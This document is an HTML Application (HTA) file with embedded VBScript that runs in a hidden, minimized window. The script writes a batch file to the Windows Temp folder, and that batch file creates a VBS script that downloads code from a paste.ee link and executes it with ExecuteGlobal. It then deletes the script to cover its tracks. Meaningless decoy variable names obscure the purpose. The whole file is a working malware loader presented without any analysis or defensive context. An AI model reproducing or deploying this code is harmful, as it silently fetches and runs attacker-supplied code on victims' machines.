<!DOCTYPE html>
<html>
<head>
<title>Executar Script</title>
<HTA:APPLICATION
APPLICATIONNAME="ScriptExecutor"
BORDER="none"
CAPTION="no"
SHOWINTASKBAR="no"
SINGLEINSTANCE="yes"
WINDOWSTATE="minimize"
/>
<script language="VBScript">
Dim ejectable
Set ejectable = CreateObject("WScript.Shell")
Dim discontentful
discontentful = "C:\Windows\Temp\walkouts.bat"
Dim dehors, poivrade
Set dehors = CreateObject("Scripting.FileSystemObject")
Set poivrade = dehors.CreateTextFile(discontentful, True)
poivrade.WriteLine "@echo off"
poivrade.WriteLine "setlocal"
poivrade.WriteLine "set ""fugues=C:\Windows\Temp\binomialist.vbs"""
poivrade.WriteLine ">" & """%fugues%""" & " ("
poivrade.WriteLine " echo Dim noncatalog, documentarist"
poivrade.WriteLine " echo noncatalog = ""https://paste.ee/d/h90u7OrE/0"""
poivrade.WriteLine " echo Set documentarist = CreateObject^(""MSXML2.XMLHTTP""^)"
poivrade.WriteLine " echo documentarist.open ""GET"", noncatalog, False"
poivrade.WriteLine " echo documentarist.send"
poivrade.WriteLine " echo If documentarist.Status = 200 Then"
poivrade.WriteLine " echo ExecuteGlobal documentarist.responseText"
poivrade.WriteLine " echo End If"
poivrade.WriteLine ")"
poivrade.WriteLine "start """" /b wscript //nologo ""%fugues%"""
poivrade.WriteLine "timeout /t 1 /nobreak >nul"
poivrade.WriteLine "del ""%fugues%"""
poivrade.WriteLine "endlocal"
poivrade.Close
ejectable.Run "cmd.exe /c " & discontentful, 0, False
window.close
</script>
</head>
<body>
</body>
</html>